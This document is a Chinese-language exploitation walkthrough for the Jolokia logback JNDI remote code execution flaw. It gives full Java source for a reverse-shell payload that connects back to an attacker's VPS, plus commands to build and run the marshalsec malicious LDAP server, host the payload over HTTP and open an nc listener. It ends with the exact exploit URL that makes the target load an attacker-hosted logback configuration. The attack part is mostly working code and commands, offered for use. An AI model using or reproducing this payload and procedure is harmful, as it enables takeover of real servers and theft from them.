目标信息
- URL: ****
- 漏洞信息:jolokia logback JNDI RCE
利用条件
- 不懂可以直接用nuclei扫描(
- 目标网站存在
/jolokia
或/actuator/jolokia
接口 - 目标使用了
jolokia-core
依赖(版本要求暂未知)并且环境中存在相关 MBean - 目标可以请求攻击者的 HTTP 服务器(请求可出外网)
- 访问
/jolokia/list
接口,查看是否存在ch.qos.logback.classic.jmx.JMXConfigurator
和reloadByURL
关键词。
利用过程
以下过程以Debian-Linux为准
- 新建一个文件夹java并进入,
mkdir java
- 新建一个文件
example.xml
,写入以下代码并将IP修改为VPS的公网IP<configuration> <insertFromJNDI env-entry-name="ldap://你的VPSip:1389/JNDIObject" as="appName" /> </configuration>
- 复制下面的java代码重命名为
JNDIObject.java
,记得修改代码中的VPS地址import java.io.File; import java.io.InputStream; import java.io.OutputStream; import java.net.Socket; public class JNDIObject { static { try{ String ip = "你的VPS IP"; String port = "443"; String py_path = null; String[] cmd; if (!System.getProperty("os.name").toLowerCase().contains("windows")) { String[] py_envs = new String[]{"/bin/python", "/bin/python3", "/usr/bin/python", "/usr/bin/python3", "/usr/local/bin/python", "/usr/local/bin/python3"}; for(int i = 0; i < py_envs.length; ++i) { String py = py_envs[i]; if ((new File(py)).exists()) { py_path = py; break; } } if (py_path != null) { if ((new File("/bin/bash")).exists()) { cmd = new String[]{py_path, "-c", "import pty;pty.spawn(\"/bin/bash\")"}; } else { cmd = new String[]{py_path, "-c", "import pty;pty.spawn(\"/bin/sh\")"}; } } else { if ((new File("/bin/bash")).exists()) { cmd = new String[]{"/bin/bash"}; } else { cmd = new String[]{"/bin/sh"}; } } } else { cmd = new String[]{"cmd.exe"}; } Process p = (new ProcessBuilder(cmd)).redirectErrorStream(true).start(); Socket s = new Socket(ip, Integer.parseInt(port)); InputStream pi = p.getInputStream(); InputStream pe = p.getErrorStream(); InputStream si = s.getInputStream(); OutputStream po = p.getOutputStream(); OutputStream so = s.getOutputStream(); while(!s.isClosed()) { while(pi.available() > 0) { so.write(pi.read()); } while(pe.available() > 0) { so.write(pe.read()); } while(si.available() > 0) { po.write(si.read()); } so.flush(); po.flush(); Thread.sleep(50L); try { p.exitValue(); break; } catch (Exception e) { } } p.destroy(); s.close(); }catch (Throwable e){ e.printStackTrace(); } } }
- 将JNDIObject.java编译为JNDIObject.class,先安装jdk11,
apt install default-jdk
,然后输入命令javac -source 1.6 -target 1.6 JNDIObject.java
- 架设恶意的ldap服务;先将恶意环境的源码编译为jar包;先Git clone编译源码,最后编译
apt install maven git clone https://github.com/mbechler/marshalsec.git cd marshalsec/ mvn clean package -DskipTests
- 将编译完成的恶意ldap服务jar文件取出到java文件夹中,然后执行命令开启服务(需要修改VPS的公网IP)
cd /root/java/marshalsec/target cp marshalsec-0.0.3-SNAPSHOT-all.jar ~/java/ cd ~/java/ java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://VPS的IP:80/#JNDIObject 1389
- 开启python的http服务(用于被下载)与nc(用于反弹shell)
python3 -m http.server 80 nc -lvp 443
- 环境准备好后访问存在漏洞的URL
url/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/<VPS的公网IP>!/example.xml
相关截图
文件结构
/java/
|-- example.xml
|-- JNDIObject.class
|-- JNDIObject.java
`-- marshalsec-0.0.3-SNAPSHOT-all.jar
漏洞原理
- 直接访问可触发漏洞的 URL,相当于通过 jolokia 调用
ch.qos.logback.classic.jmx.JMXConfigurator
类的reloadByURL
方法 - 目标机器请求外部日志配置文件 URL 地址,获得恶意 xml 文件内容
- 目标机器使用 saxParser.parse 解析 xml 文件 (这里导致了 xxe 漏洞)
- xml 文件中利用
logback
依赖的insertFormJNDI
标签,设置了外部 JNDI 服务器地址 - 目标机器请求恶意 JNDI 服务器,导致 JNDI 注入,造成 RCE 漏洞
这篇文章写得深入浅出,让我这个小白也看懂了!